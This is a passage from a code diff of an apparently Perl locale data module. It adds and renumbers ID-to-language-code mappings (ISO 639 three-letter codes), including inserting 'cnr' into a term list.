+      q(7511) => q(xtv),
+      q(7512) => q(xtw),
+      q(7513) => q(xty),
+      q(7514) => q(xtz),
+      q(7515) => q(xua),
+      q(7516) => q(xub),
+      q(7517) => q(xud),
+      q(7518) => q(xug),
+      q(7519) => q(xuj),
+      q(7520) => q(xul),
+      q(7521) => q(xum),
+      q(7522) => q(xun),
+      q(7523) => q(xuo),
+      q(7524) => q(xup),
+      q(7525) => q(xur),
+      q(7526) => q(xut),
+      q(7527) => q(xuu),
+      q(7528) => q(xve),
+      q(7529) => q(xvi),
+      q(7530) => q(xvn),
+      q(7531) => q(xvo),
+      q(7532) => q(xvs),
+      q(7533) => q(xwa),
+      q(7534) => q(xwc),
+      q(7535) => q(xwd),
+      q(7536) => q(xwe),
+      q(7537) => q(xwg),
+      q(7538) => q(xwj),
+      q(7539) => q(xwk),
+      q(7540) => q(xwl),
+      q(7541) => q(xwo),
+      q(7542) => q(xwr),
+      q(7543) => q(xwt),
+      q(7544) => q(xww),
+      q(7545) => q(xxb),
+      q(7546) => q(xxk),
+      q(7547) => q(xxm),
+      q(7548) => q(xxr),
+      q(7549) => q(xxt),
+      q(7550) => q(xya),
+      q(7551) => q(xyb),
+      q(7552) => q(xyj),
+      q(7553) => q(xyk),
+      q(7554) => q(xyl),
+      q(7555) => q(xyt),
+      q(7556) => q(xyy),
+      q(7557) => q(xzh),
+      q(7558) => q(xzm),
+      q(7559) => q(xzp),
+      q(7560) => q(yaa),
+      q(7561) => q(yab),
+      q(7562) => q(yac),
+      q(7563) => q(yad),
+      q(7564) => q(yae),
+      q(7565) => q(yaf),
+      q(7566) => q(yag),
+      q(7567) => q(yah),
+      q(7568) => q(yai),
+      q(7569) => q(yaj),
+      q(7570) => q(yak),
+      q(7571) => q(yal),
+      q(7572) => q(yam),
+      q(7573) => q(yan),
+      q(7574) => q(yaq),
+      q(7575) => q(yar),
+      q(7576) => q(yas),
+      q(7577) => q(yat),
+      q(7578) => q(yau),
+      q(7579) => q(yav),
+      q(7580) => q(yaw),
+      q(7581) => q(yax),
+      q(7582) => q(yay),
+      q(7583) => q(yaz),
+      q(7584) => q(yba),
+      q(7585) => q(ybb),
+      q(7586) => q(ybe),
+      q(7587) => q(ybh),
+      q(7588) => q(ybi),
+      q(7589) => q(ybj),
+      q(7590) => q(ybk),
+      q(7591) => q(ybl),
+      q(7592) => q(ybm),
+      q(7593) => q(ybn),
+      q(7594) => q(ybo),
+      q(7595) => q(ybx),
+      q(7596) => q(yby),
+      q(7597) => q(ych),
+      q(7598) => q(ycl),
+      q(7599) => q(ycn),
+      q(7600) => q(ycp),
+      q(7601) => q(yda),
+      q(7602) => q(ydd),
+      q(7603) => q(yde),
+      q(7604) => q(ydg),
+      q(7605) => q(ydk),
+      q(7606) => q(yea),
+      q(7607) => q(yec),
+      q(7608) => q(yee),
+      q(7609) => q(yei),
+      q(7610) => q(yej),
+      q(7611) => q(yel),
+      q(7612) => q(yer),
+      q(7613) => q(yes),
+      q(7614) => q(yet),
+      q(7615) => q(yeu),
+      q(7616) => q(yev),
+      q(7617) => q(yey),
+      q(7618) => q(yga),
+      q(7619) => q(ygi),
+      q(7620) => q(ygl),
+      q(7621) => q(ygm),
+      q(7622) => q(ygp),
+      q(7623) => q(ygr),
+      q(7624) => q(ygs),
+      q(7625) => q(ygu),
+      q(7626) => q(ygw),
+      q(7627) => q(yha),
+      q(7628) => q(yhd),
+      q(7629) => q(yhl),
+      q(7630) => q(yhs),
+      q(7631) => q(yia),
+      q(7632) => q(yig),
+      q(7633) => q(yih),
+      q(7634) => q(yii),
+      q(7635) => q(yij),
+      q(7636) => q(yik),
+      q(7637) => q(yil),
+      q(7638) => q(yim),
+      q(7639) => q(yin),
+      q(7640) => q(yip),
+      q(7641) => q(yiq),
+      q(7642) => q(yir),
+      q(7643) => q(yis),
+      q(7644) => q(yit),
+      q(7645) => q(yiu),
+      q(7646) => q(yiv),
+      q(7647) => q(yix),
+      q(7648) => q(yiz),
+      q(7649) => q(yka),
+      q(7650) => q(ykg),
+      q(7651) => q(yki),
+      q(7652) => q(ykk),
+      q(7653) => q(ykl),
+      q(7654) => q(ykm),
+      q(7655) => q(ykn),
+      q(7656) => q(yko),
+      q(7657) => q(ykr),
+      q(7658) => q(ykt),
+      q(7659) => q(yku),
+      q(7660) => q(yky),
+      q(7661) => q(yla),
+      q(7662) => q(ylb),
+      q(7663) => q(yle),
+      q(7664) => q(ylg),
+      q(7665) => q(yli),
+      q(7666) => q(yll),
+      q(7667) => q(ylm),
+      q(7668) => q(yln),
+      q(7669) => q(ylo),
+      q(7670) => q(ylr),
+      q(7671) => q(ylu),
+      q(7672) => q(yly),
+      q(7673) => q(ymb),
+      q(7674) => q(ymc),
+      q(7675) => q(ymd),
+      q(7676) => q(yme),
+      q(7677) => q(ymg),
+      q(7678) => q(ymh),
+      q(7679) => q(ymi),
+      q(7680) => q(ymk),
+      q(7681) => q(yml),
+      q(7682) => q(ymm),
+      q(7683) => q(ymn),
+      q(7684) => q(ymo),
+      q(7685) => q(ymp),
+      q(7686) => q(ymq),
+      q(7687) => q(ymr),
+      q(7688) => q(yms),
+      q(7689) => q(ymx),
+      q(7690) => q(ymz),
+      q(7691) => q(yna),
+      q(7692) => q(ynd),
+      q(7693) => q(yne),
+      q(7694) => q(yng),
+      q(7695) => q(ynk),
+      q(7696) => q(ynl),
+      q(7697) => q(ynn),
+      q(7698) => q(yno),
+      q(7699) => q(ynq),
+      q(7700) => q(yns),
+      q(7701) => q(ynu),
+      q(7702) => q(yob),
+      q(7703) => q(yog),
+      q(7704) => q(yoi),
+      q(7705) => q(yok),
+      q(7706) => q(yol),
+      q(7707) => q(yom),
+      q(7708) => q(yon),
+      q(7709) => q(yot),
+      q(7710) => q(yox),
+      q(7711) => q(yoy),
+      q(7712) => q(ypa),
+      q(7713) => q(ypb),
+      q(7714) => q(ypg),
+      q(7715) => q(yph),
+      q(7716) => q(ypm),
+      q(7717) => q(ypn),
+      q(7718) => q(ypo),
+      q(7719) => q(ypp),
+      q(7720) => q(ypz),
+      q(7721) => q(yra),
+      q(7722) => q(yrb),
+      q(7723) => q(yre),
+      q(7724) => q(yrk),
+      q(7725) => q(yrl),
+      q(7726) => q(yrm),
+      q(7727) => q(yrn),
+      q(7728) => q(yro),
+      q(7729) => q(yrs),
+      q(7730) => q(yrw),
+      q(7731) => q(yry),
+      q(7732) => q(ysc),
+      q(7733) => q(ysd),
+      q(7734) => q(ysg),
+      q(7735) => q(ysl),
+      q(7736) => q(ysn),
+      q(7737) => q(yso),
+      q(7738) => q(ysp),
+      q(7739) => q(ysr),
+      q(7740) => q(yss),
+      q(7741) => q(ysy),
+      q(7742) => q(yta),
+      q(7743) => q(ytl),
+      q(7744) => q(ytp),
+      q(7745) => q(ytw),
+      q(7746) => q(yty),
+      q(7747) => q(yua),
+      q(7748) => q(yub),
+      q(7749) => q(yuc),
+      q(7750) => q(yud),
+      q(7751) => q(yue),
+      q(7752) => q(yuf),
+      q(7753) => q(yug),
+      q(7754) => q(yui),
+      q(7755) => q(yuj),
+      q(7756) => q(yuk),
+      q(7757) => q(yul),
+      q(7758) => q(yum),
+      q(7759) => q(yun),
+      q(7760) => q(yup),
+      q(7761) => q(yuq),
+      q(7762) => q(yur),
+      q(7763) => q(yut),
+      q(7764) => q(yuw),
+      q(7765) => q(yux),
+      q(7766) => q(yuy),
+      q(7767) => q(yuz),
+      q(7768) => q(yva),
+      q(7769) => q(yvt),
+      q(7770) => q(ywa),
+      q(7771) => q(ywg),
+      q(7772) => q(ywl),
+      q(7773) => q(ywn),
+      q(7774) => q(ywq),
+      q(7775) => q(ywr),
+      q(7776) => q(ywt),
+      q(7777) => q(ywu),
+      q(7778) => q(yww),
+      q(7779) => q(yxa),
+      q(7780) => q(yxg),
+      q(7781) => q(yxl),
+      q(7782) => q(yxm),
+      q(7783) => q(yxu),
+      q(7784) => q(yxy),
+      q(7785) => q(yyr),
+      q(7786) => q(yyu),
+      q(7787) => q(yyz),
+      q(7788) => q(yzg),
+      q(7789) => q(yzk),
+      q(7790) => q(zaa),
+      q(7791) => q(zab),
+      q(7792) => q(zac),
+      q(7793) => q(zad),
+      q(7794) => q(zae),
+      q(7795) => q(zaf),
+      q(7796) => q(zag),
+      q(7797) => q(zah),
+      q(7798) => q(zai),
+      q(7799) => q(zaj),
+      q(7800) => q(zak),
+      q(7801) => q(zal),
+      q(7802) => q(zam),
+      q(7803) => q(zao),
+      q(7804) => q(zaq),
+      q(7805) => q(zar),
+      q(7806) => q(zas),
+      q(7807) => q(zat),
+      q(7808) => q(zau),
+      q(7809) => q(zav),
+      q(7810) => q(zaw),
+      q(7811) => q(zax),
+      q(7812) => q(zay),
+      q(7813) => q(zaz),
+      q(7814) => q(zbc),
+      q(7815) => q(zbe),
+      q(7816) => q(zbt),
+      q(7817) => q(zbw),
+      q(7818) => q(zca),
+      q(7819) => q(zch),
+      q(7820) => q(zdj),
+      q(7821) => q(zea),
+      q(7822) => q(zeg),
+      q(7823) => q(zeh),
+      q(7824) => q(zga),
+      q(7825) => q(zgb),
+      q(7826) => q(zgm),
+      q(7827) => q(zgn),
+      q(7828) => q(zgr),
+      q(7829) => q(zhb),
+      q(7830) => q(zhd),
+      q(7831) => q(zhi),
+      q(7832) => q(zhn),
+      q(7833) => q(zhw),
+      q(7834) => q(zia),
+      q(7835) => q(zib),
+      q(7836) => q(zik),
+      q(7837) => q(zil),
+      q(7838) => q(zim),
+      q(7839) => q(zin),
+      q(7840) => q(zir),
+      q(7841) => q(ziw),
+      q(7842) => q(ziz),
+      q(7843) => q(zka),
+      q(7844) => q(zkb),
+      q(7845) => q(zkd),
+      q(7846) => q(zkg),
+      q(7847) => q(zkh),
+      q(7848) => q(zkk),
+      q(7849) => q(zkn),
+      q(7850) => q(zko),
+      q(7851) => q(zkp),
+      q(7852) => q(zkr),
+      q(7853) => q(zkt),
+      q(7854) => q(zku),
+      q(7855) => q(zkv),
+      q(7856) => q(zkz),
+      q(7857) => q(zlj),
+      q(7858) => q(zlm),
+      q(7859) => q(zln),
+      q(7860) => q(zlq),
+      q(7861) => q(zma),
+      q(7862) => q(zmb),
+      q(7863) => q(zmc),
+      q(7864) => q(zmd),
+      q(7865) => q(zme),
+      q(7866) => q(zmf),
+      q(7867) => q(zmg),
+      q(7868) => q(zmh),
+      q(7869) => q(zmi),
+      q(7870) => q(zmj),
+      q(7871) => q(zmk),
+      q(7872) => q(zml),
+      q(7873) => q(zmm),
+      q(7874) => q(zmn),
+      q(7875) => q(zmo),
+      q(7876) => q(zmp),
+      q(7877) => q(zmq),
+      q(7878) => q(zmr),
+      q(7879) => q(zms),
+      q(7880) => q(zmt),
+      q(7881) => q(zmu),
+      q(7882) => q(zmv),
+      q(7883) => q(zmw),
+      q(7884) => q(zmx),
+      q(7885) => q(zmy),
+      q(7886) => q(zmz),
+      q(7887) => q(zna),
+      q(7888) => q(zne),
+      q(7889) => q(zng),
+      q(7890) => q(znk),
+      q(7891) => q(zns),
+      q(7892) => q(zoc),
+      q(7893) => q(zoh),
+      q(7894) => q(zom),
+      q(7895) => q(zoo),
+      q(7896) => q(zoq),
+      q(7897) => q(zor),
+      q(7898) => q(zos),
+      q(7899) => q(zpa),
+      q(7900) => q(zpb),
+      q(7901) => q(zpc),
+      q(7902) => q(zpd),
+      q(7903) => q(zpe),
+      q(7904) => q(zpf),
+      q(7905) => q(zpg),
+      q(7906) => q(zph),
+      q(7907) => q(zpi),
+      q(7908) => q(zpj),
+      q(7909) => q(zpk),
+      q(7910) => q(zpl),
+      q(7911) => q(zpm),
+      q(7912) => q(zpn),
+      q(7913) => q(zpo),
+      q(7914) => q(zpp),
+      q(7915) => q(zpq),
+      q(7916) => q(zpr),
+      q(7917) => q(zps),
+      q(7918) => q(zpt),
+      q(7919) => q(zpu),
+      q(7920) => q(zpv),
+      q(7921) => q(zpw),
+      q(7922) => q(zpx),
+      q(7923) => q(zpy),
+      q(7924) => q(zpz),
+      q(7925) => q(zqe),
+      q(7926) => q(zra),
+      q(7927) => q(zrg),
+      q(7928) => q(zrn),
+      q(7929) => q(zro),
+      q(7930) => q(zrp),
+      q(7931) => q(zrs),
+      q(7932) => q(zsa),
+      q(7933) => q(zsk),
+      q(7934) => q(zsl),
+      q(7935) => q(zsm),
+      q(7936) => q(zsr),
+      q(7937) => q(zsu),
+      q(7938) => q(zte),
+      q(7939) => q(ztg),
+      q(7940) => q(ztl),
+      q(7941) => q(ztm),
+      q(7942) => q(ztn),
+      q(7943) => q(ztp),
+      q(7944) => q(ztq),
+      q(7945) => q(zts),
+      q(7946) => q(ztt),
+      q(7947) => q(ztu),
+      q(7948) => q(ztx),
+      q(7949) => q(zty),
+      q(7950) => q(zua),
+      q(7951) => q(zuh),
+      q(7952) => q(zum),
+      q(7953) => q(zuy),
+      q(7954) => q(zwa),
+      q(7955) => q(zyb),
+      q(7956) => q(zyg),
+      q(7957) => q(zyj),
+      q(7958) => q(zyn),
+      q(7959) => q(zyp),
+      q(7960) => q(zzj),
       },
    q(term) => {
       q(0001) => q(aar),
@@ -100271,403 +100356,404 @@
       q(0087) => q(chv),
       q(0088) => q(chy),
       q(0089) => q(cmc),
-      q(0090) => q(cop),
-      q(0091) => q(cor),
-      q(0092) => q(cos),
-      q(0093) => q(cpe),
-      q(0094) => q(cpf),
-      q(0095) => q(cpp),
-      q(0096) => q(cre),
-      q(0097) => q(crh),
-      q(0098) => q(crp),
-      q(0099) => q(csb),
-      q(0100) => q(cus),
-      q(0101) => q(ces),
-      q(0102) => q(dak),
-      q(0103) => q(dan),
-      q(0104) => q(dar),
-      q(0105) => q(day),
-      q(0106) => q(del),
-      q(0107) => q(den),
-      q(0108) => q(dgr),
-      q(0109) => q(din),
-      q(0110) => q(div),
-      q(0111) => q(doi),
-      q(0112) => q(dra),
-      q(0113) => q(dsb),
-      q(0114) => q(dua),
-      q(0115) => q(dum),
-      q(0116) => q(nld),
-      q(0117) => q(dyu),
-      q(0118) => q(dzo),
-      q(0119) => q(efi),
-      q(0120) => q(egy),
-      q(0121) => q(eka),
-      q(0122) => q(elx),
-      q(0123) => q(eng),
-      q(0124) => q(enm),
-      q(0125) => q(epo),
-      q(0126) => q(est),
-      q(0127) => q(ewe),
-      q(0128) => q(ewo),
-      q(0129) => q(fan),
-      q(0130) => q(fao),
-      q(0131) => q(fat),
-      q(0132) => q(fij),
-      q(0133) => q(fil),
-      q(0134) => q(fin),
-      q(0135) => q(fiu),
-      q(0136) => q(fon),
-      q(0137) => q(fra),
-      q(0138) => q(frm),
-      q(0139) => q(fro),
-      q(0140) => q(frr),
-      q(0141) => q(frs),
-      q(0142) => q(fry),
-      q(0143) => q(ful),
-      q(0144) => q(fur),
-      q(0145) => q(gaa),
-      q(0146) => q(gay),
-      q(0147) => q(gba),
-      q(0148) => q(gem),
-      q(0149) => q(kat),
-      q(0150) => q(deu),
-      q(0151) => q(gez),
-      q(0152) => q(gil),
-      q(0153) => q(gla),
-      q(0154) => q(gle),
-      q(0155) => q(glg),
-      q(0156) => q(glv),
-      q(0157) => q(gmh),
-      q(0158) => q(goh),
-      q(0159) => q(gon),
-      q(0160) => q(gor),
-      q(0161) => q(got),
-      q(0162) => q(grb),
-      q(0163) => q(grc),
-      q(0164) => q(ell),
-      q(0165) => q(grn),
-      q(0166) => q(gsw),
-      q(0167) => q(guj),
-      q(0168) => q(gwi),
-      q(0169) => q(hai),
-      q(0170) => q(hat),
-      q(0171) => q(hau),
-      q(0172) => q(haw),
-      q(0173) => q(heb),
-      q(0174) => q(her),
-      q(0175) => q(hil),
-      q(0176) => q(him),
-      q(0177) => q(hin),
-      q(0178) => q(hit),
-      q(0179) => q(hmn),
-      q(0180) => q(hmo),
-      q(0181) => q(hrv),
-      q(0182) => q(hsb),
-      q(0183) => q(hun),
-      q(0184) => q(hup),
-      q(0185) => q(iba),
-      q(0186) => q(ibo),
-      q(0187) => q(isl),
-      q(0188) => q(ido),
-      q(0189) => q(iii),
-      q(0190) => q(ijo),
-      q(0191) => q(iku),
-      q(0192) => q(ile),
-      q(0193) => q(ilo),
-      q(0194) => q(ina),
-      q(0195) => q(inc),
-      q(0196) => q(ind),
-      q(0197) => q(ine),
-      q(0198) => q(inh),
-      q(0199) => q(ipk),
-      q(0200) => q(ira),
-      q(0201) => q(iro),
-      q(0202) => q(ita),
-      q(0203) => q(jav),
-      q(0204) => q(jbo),
-      q(0205) => q(jpn),
-      q(0206) => q(jpr),
-      q(0207) => q(jrb),
-      q(0208) => q(kaa),
-      q(0209) => q(kab),
-      q(0210) => q(kac),
-      q(0211) => q(kal),
-      q(0212) => q(kam),
-      q(0213) => q(kan),
-      q(0214) => q(kar),
-      q(0215) => q(kas),
-      q(0216) => q(kau),
-      q(0217) => q(kaw),
-      q(0218) => q(kaz),
-      q(0219) => q(kbd),
-      q(0220) => q(kha),
-      q(0221) => q(khi),
-      q(0222) => q(khm),
-      q(0223) => q(kho),
-      q(0224) => q(kik),
-      q(0225) => q(kin),
-      q(0226) => q(kir),
-      q(0227) => q(kmb),
-      q(0228) => q(kok),
-      q(0229) => q(kom),
-      q(0230) => q(kon),
-      q(0231) => q(kor),
-      q(0232) => q(kos),
-      q(0233) => q(kpe),
-      q(0234) => q(krc),
-      q(0235) => q(krl),
-      q(0236) => q(kro),
-      q(0237) => q(kru),
-      q(0238) => q(kua),
-      q(0239) => q(kum),
-      q(0240) => q(kur),
-      q(0241) => q(kut),
-      q(0242) => q(lad),
-      q(0243) => q(lah),
-      q(0244) => q(lam),
-      q(0245) => q(lao),
-      q(0246) => q(lat),
-      q(0247) => q(lav),
-      q(0248) => q(lez),
-      q(0249) => q(lim),
-      q(0250) => q(lin),
-      q(0251) => q(lit),
-      q(0252) => q(lol),
-      q(0253) => q(loz),
-      q(0254) => q(ltz),
-      q(0255) => q(lua),
-      q(0256) => q(lub),
-      q(0257) => q(lug),
-      q(0258) => q(lui),
-      q(0259) => q(lun),
-      q(0260) => q(luo),
-      q(0261) => q(lus),
-      q(0262) => q(mkd),
-      q(0263) => q(mad),
-      q(0264) => q(mag),
-      q(0265) => q(mah),
-      q(0266) => q(mai),
-      q(0267) => q(mak),
-      q(0268) => q(mal),
-      q(0269) => q(man),
-      q(0270) => q(mri),
-      q(0271) => q(map),
-      q(0272) => q(mar),
-      q(0273) => q(mas),
-      q(0274) => q(msa),
-      q(0275) => q(mdf),
-      q(0276) => q(mdr),
-      q(0277) => q(men),
-      q(0278) => q(mga),
-      q(0279) => q(mic),
-      q(0280) => q(min),
-      q(0281) => q(mis),
-      q(0282) => q(mkh),
-      q(0283) => q(mlg),
-      q(0284) => q(mlt),
-      q(0285) => q(mnc),
-      q(0286) => q(mni),
-      q(0287) => q(mno),
-      q(0288) => q(moh),
-      q(0289) => q(mon),
-      q(0290) => q(mos),
-      q(0291) => q(mul),
-      q(0292) => q(mun),
-      q(0293) => q(mus),
-      q(0294) => q(mwl),
-      q(0295) => q(mwr),
-      q(0296) => q(myn),
-      q(0297) => q(myv),
-      q(0298) => q(nah),
-      q(0299) => q(nai),
-      q(0300) => q(nap),
-      q(0301) => q(nau),
-      q(0302) => q(nav),
-      q(0303) => q(nbl),
-      q(0304) => q(nde),
-      q(0305) => q(ndo),
-      q(0306) => q(nds),
-      q(0307) => q(nep),
-      q(0308) => q(new),
-      q(0309) => q(nia),
-      q(0310) => q(nic),
-      q(0311) => q(niu),
-      q(0312) => q(nno),
-      q(0313) => q(nob),
-      q(0314) => q(nog),
-      q(0315) => q(non),
-      q(0316) => q(nor),
-      q(0317) => q(nqo),
-      q(0318) => q(nso),
-      q(0319) => q(nub),
-      q(0320) => q(nwc),
-      q(0321) => q(nya),
-      q(0322) => q(nym),
-      q(0323) => q(nyn),
-      q(0324) => q(nyo),
-      q(0325) => q(nzi),
-      q(0326) => q(oci),
-      q(0327) => q(oji),
-      q(0328) => q(ori),
-      q(0329) => q(orm),
-      q(0330) => q(osa),
-      q(0331) => q(oss),
-      q(0332) => q(ota),
-      q(0333) => q(oto),
-      q(0334) => q(paa),
-      q(0335) => q(pag),
-      q(0336) => q(pal),
-      q(0337) => q(pam),
-      q(0338) => q(pan),
-      q(0339) => q(pap),
-      q(0340) => q(pau),
-      q(0341) => q(peo),
-      q(0342) => q(fas),
-      q(0343) => q(phi),
-      q(0344) => q(phn),
-      q(0345) => q(pli),
-      q(0346) => q(pol),
-      q(0347) => q(pon),
-      q(0348) => q(por),
-      q(0349) => q(pra),
-      q(0350) => q(pro),
-      q(0351) => q(pus),
-      q(0352) => q(qtz),
-      q(0353) => q(que),
-      q(0354) => q(raj),
-      q(0355) => q(rap),
-      q(0356) => q(rar),
-      q(0357) => q(roa),
-      q(0358) => q(roh),
-      q(0359) => q(rom),
-      q(0360) => q(ron),
-      q(0361) => q(run),
-      q(0362) => q(rup),
-      q(0363) => q(rus),
-      q(0364) => q(sad),
-      q(0365) => q(sag),
-      q(0366) => q(sah),
-      q(0367) => q(sai),
-      q(0368) => q(sal),
-      q(0369) => q(sam),
-      q(0370) => q(san),
-      q(0371) => q(sas),
-      q(0372) => q(sat),
-      q(0373) => q(scn),
-      q(0374) => q(sco),
-      q(0375) => q(sel),
-      q(0376) => q(sem),
-      q(0377) => q(sga),
-      q(0378) => q(sgn),
-      q(0379) => q(shn),
-      q(0380) => q(sid),
-      q(0381) => q(sin),
-      q(0382) => q(sio),
-      q(0383) => q(sit),
-      q(0384) => q(sla),
-      q(0385) => q(slk),
-      q(0386) => q(slv),
-      q(0387) => q(sma),
-      q(0388) => q(sme),
-      q(0389) => q(smi),
-      q(0390) => q(smj),
-      q(0391) => q(smn),
-      q(0392) => q(smo),
-      q(0393) => q(sms),
-      q(0394) => q(sna),
-      q(0395) => q(snd),
-      q(0396) => q(snk),
-      q(0397) => q(sog),
-      q(0398) => q(som),
-      q(0399) => q(son),
-      q(0400) => q(sot),
-      q(0401) => q(spa),
-      q(0402) => q(srd),
-      q(0403) => q(srn),
-      q(0404) => q(srp),
-      q(0405) => q(srr),
-      q(0406) => q(ssa),
-      q(0407) => q(ssw),
-      q(0408) => q(suk),
-      q(0409) => q(sun),
-      q(0410) => q(sus),
-      q(0411) => q(sux),
-      q(0412) => q(swa),
-      q(0413) => q(swe),
-      q(0414) => q(syc),
-      q(0415) => q(syr),
-      q(0416) => q(tah),
-      q(0417) => q(tai),
-      q(0418) => q(tam),
-      q(0419) => q(tat),
-      q(0420) => q(tel),
-      q(0421) => q(tem),
-      q(0422) => q(ter),
-      q(0423) => q(tet),
-      q(0424) => q(tgk),
-      q(0425) => q(tgl),
-      q(0426) => q(tha),
-      q(0427) => q(bod),
-      q(0428) => q(tig),
-      q(0429) => q(tir),
-      q(0430) => q(tiv),
-      q(0431) => q(tkl),
-      q(0432) => q(tlh),
-      q(0433) => q(tli),
-      q(0434) => q(tmh),
-      q(0435) => q(tog),
-      q(0436) => q(ton),
-      q(0437) => q(tpi),
-      q(0438) => q(tsi),
-      q(0439) => q(tsn),
-      q(0440) => q(tso),
-      q(0441) => q(tuk),
-      q(0442) => q(tum),
-      q(0443) => q(tup),
-      q(0444) => q(tur),
-      q(0445) => q(tut),
-      q(0446) => q(tvl),
-      q(0447) => q(twi),
-      q(0448) => q(tyv),
-      q(0449) => q(udm),
-      q(0450) => q(uga),
-      q(0451) => q(uig),
-      q(0452) => q(ukr),
-      q(0453) => q(umb),
-      q(0454) => q(und),
-      q(0455) => q(urd),
-      q(0456) => q(uzb),
-      q(0457) => q(vai),
-      q(0458) => q(ven),
-      q(0459) => q(vie),
-      q(0460) => q(vol),
-      q(0461) => q(vot),
-      q(0462) => q(wak),
-      q(0463) => q(wal),
-      q(0464) => q(war),
-      q(0465) => q(was),
-      q(0466) => q(cym),
-      q(0467) => q(wen),
-      q(0468) => q(wln),
-      q(0469) => q(wol),
-      q(0470) => q(xal),
-      q(0471) => q(xho),
-      q(0472) => q(yao),
-      q(0473) => q(yap),
-      q(0474) => q(yid),
-      q(0475) => q(yor),
-      q(0476) => q(ypk),
-      q(0477) => q(zap),
-      q(0478) => q(zbl),
-      q(0479) => q(zen),
-      q(0480) => q(zgh),
-      q(0481) => q(zha),
-      q(0482) => q(znd),
-      q(0483) => q(zul),
-      q(0484) => q(zun),
-      q(0485) => q(zxx),
-      q(0486) => q(zza),
+      q(0090) => q(cnr),
+      q(0091) => q(cop),
+      q(0092) => q(cor),
+      q(0093) => q(cos),
+      q(0094) => q(cpe),
+      q(0095) => q(cpf),
+      q(0096) => q(cpp),
+      q(0097) => q(cre),
+      q(0098) => q(crh),
+      q(0099) => q(crp),
+      q(0100) => q(csb),
+      q(0101) => q(cus),
+      q(0102) => q(ces),
+      q(0103) => q(dak),
+      q(0104) => q(dan),
+      q(0105) => q(dar),
+      q(0106) => q(day),
+      q(0107) => q(del),
+      q(0108) => q(den),
+      q(0109) => q(dgr),
+      q(0110) => q(din),
+      q(0111) => q(div),
+      q(0112) => q(doi),
+      q(0113) => q(dra),
+      q(0114) => q(dsb),
+      q(0115) => q(dua),
+      q(0116) => q(dum),
+      q(0117) => q(nld),
+      q(0118) => q(dyu),
+      q(0119) => q(dzo),
+      q(0120) => q(efi),
+      q(0121) => q(egy),
+      q(0122) => q(eka),
+      q(0123) => q(elx),
+      q(0124) => q(eng),
+      q(0125) => q(enm),
+      q(0126) => q(epo),
+      q(0127) => q(est),
+      q(0128) => q(ewe),
+      q(0129) => q(ewo),
+      q(0130) => q(fan),
+      q(0131) => q(fao),
+      q(0132) => q(fat),
+      q(0133) => q(fij),
+      q(0134) => q(fil),
+      q(0135) => q(fin),
+      q(0136) => q(fiu),
+      q(0137) => q(fon),
+      q(0138) => q(fra),
+      q(0139) => q(frm),
+      q(0140) => q(fro),
+      q(0141) => q(frr),
+      q(0142) => q(frs),
+      q(0143) => q(fry),
+      q(0144) => q(ful),
+      q(0145) => q(fur),
+      q(0146) => q(gaa),
+      q(0147) => q(gay),
+      q(0148) => q(gba),
+      q(0149) => q(gem),
+      q(0150) => q(kat),
+      q(0151) => q(deu),
+      q(0152) => q(gez),
+      q(0153) => q(gil),
+      q(0154) => q(gla),
+      q(0155) => q(gle),
+      q(0156) => q(glg),
+      q(0157) => q(glv),
+      q(0158) => q(gmh),
+      q(0159) => q(goh),
+      q(0160) => q(gon),
+      q(0161) => q(gor),
+      q(0162) => q(got),
+      q(0163) => q(grb),
+      q(0164) => q(grc),
+      q(0165) => q(ell),
+      q(0166) => q(grn),
+      q(0167) => q(gsw),
+      q(0168) => q(guj),
+      q(0169) => q(gwi),
+      q(0170) => q(hai),
+      q(0171) => q(hat),
+      q(0172) => q(hau),
+      q(0173) => q(haw),
+      q(0174) => q(heb),
+      q(0175) => q(her),
+      q(0176) => q(hil),
+      q(0177) => q(him),
+      q(0178) => q(hin),
+      q(0179) => q(hit),
+      q(0180) => q(hmn),
+      q(0181) => q(hmo),
+      q(0182) => q(hrv),
+      q(0183) => q(hsb),
+      q(0184) => q(hun),
+      q(0185) => q(hup),
+      q(0186) => q(iba),
+      q(0187) => q(ibo),
+      q(0188) => q(isl),
+      q(0189) => q(ido),
+      q(0190) => q(iii),
+      q(0191) => q(ijo),
+      q(0192) => q(iku),
+      q(0193) => q(ile),
+      q(0194) => q(ilo),
+      q(0195) => q(ina),
+      q(0196) => q(inc),
+      q(0197) => q(ind),
+      q(0198) => q(ine),
+      q(0199) => q(inh),
+      q(0200) => q(ipk),
+      q(0201) => q(ira),
+      q(0202) => q(iro),
+      q(0203) => q(ita),
+      q(0204) => q(jav),
+      q(0205) => q(jbo),
+      q(0206) => q(jpn),
+      q(0207) => q(jpr),
+      q(0208) => q(jrb),
+      q(0209) => q(kaa),
+      q(0210) => q(kab),
+      q(0211) => q(kac),
+      q(0212) => q(kal),
+      q(0213) => q(kam),
+      q(0214) => q(kan),
+      q(0215) => q(kar),
+      q(0216) => q(kas),
+      q(0217) => q(kau),
+      q(0218) => q(kaw),
+      q(0219) => q(kaz),
+      q(0220) => q(kbd),
+      q(0221) => q(kha),
+      q(0222) => q(khi),
+      q(0223) => q(khm),
+      q(0224) => q(kho),
+      q(0225) => q(kik),
+      q(0226) => q(kin),
+      q(0227) => q(kir),
+      q(0228) => q(kmb),
+      q(0229) => q(kok),
+      q(0230) => q(kom),
+      q(0231) => q(kon),
+      q(0232) => q(kor),
+      q(0233) => q(kos),
+      q(0234) => q(kpe),
+      q(0235) => q(krc),
+      q(0236) => q(krl),
+      q(0237) => q(kro),
+      q(0238) => q(kru),
+      q(0239) => q(kua),
+      q(0240) => q(kum),
+      q(0241) => q(kur),
+      q(0242) => q(kut),
+      q(0243) => q(lad),
+      q(0244) => q(lah),
+      q(0245) => q(lam),
+      q(0246) => q(lao),
+      q(0247) => q(lat),
+      q(0248) => q(lav),
+      q(0249) => q(lez),
+      q(0250) => q(lim),
+      q(0251) => q(lin),
+      q(0252) => q(lit),
+      q(0253) => q(lol),
+      q(0254) => q(loz),
+      q(0255) => q(ltz),
+      q(0256) => q(lua),
+      q(0257) => q(lub),
+      q(0258) => q(lug),
+      q(0259) => q(lui),
+      q(0260) => q(lun),
+      q(0261) => q(luo),
+      q(0262) => q(lus),
+      q(0263) => q(mkd),
+      q(0264) => q(mad),
+      q(0265) => q(mag),
+      q(0266) => q(mah),
+      q(0267) => q(mai),
+      q(0268) => q(mak),
+      q(0269) => q(mal),
+      q(0270) => q(man),
+      q(0271) => q(mri),
+      q(0272) => q(map),
+      q(0273) => q(mar),
+      q(0274) => q(mas),
+      q(0275) => q(msa),
+      q(0276) => q(mdf),
+      q(0277) => q(mdr),
+      q(0278) => q(men),
+      q(0279) => q(mga),
+      q(0280) => q(mic),
+      q(0281) => q(min),
+      q(0282) => q(mis),
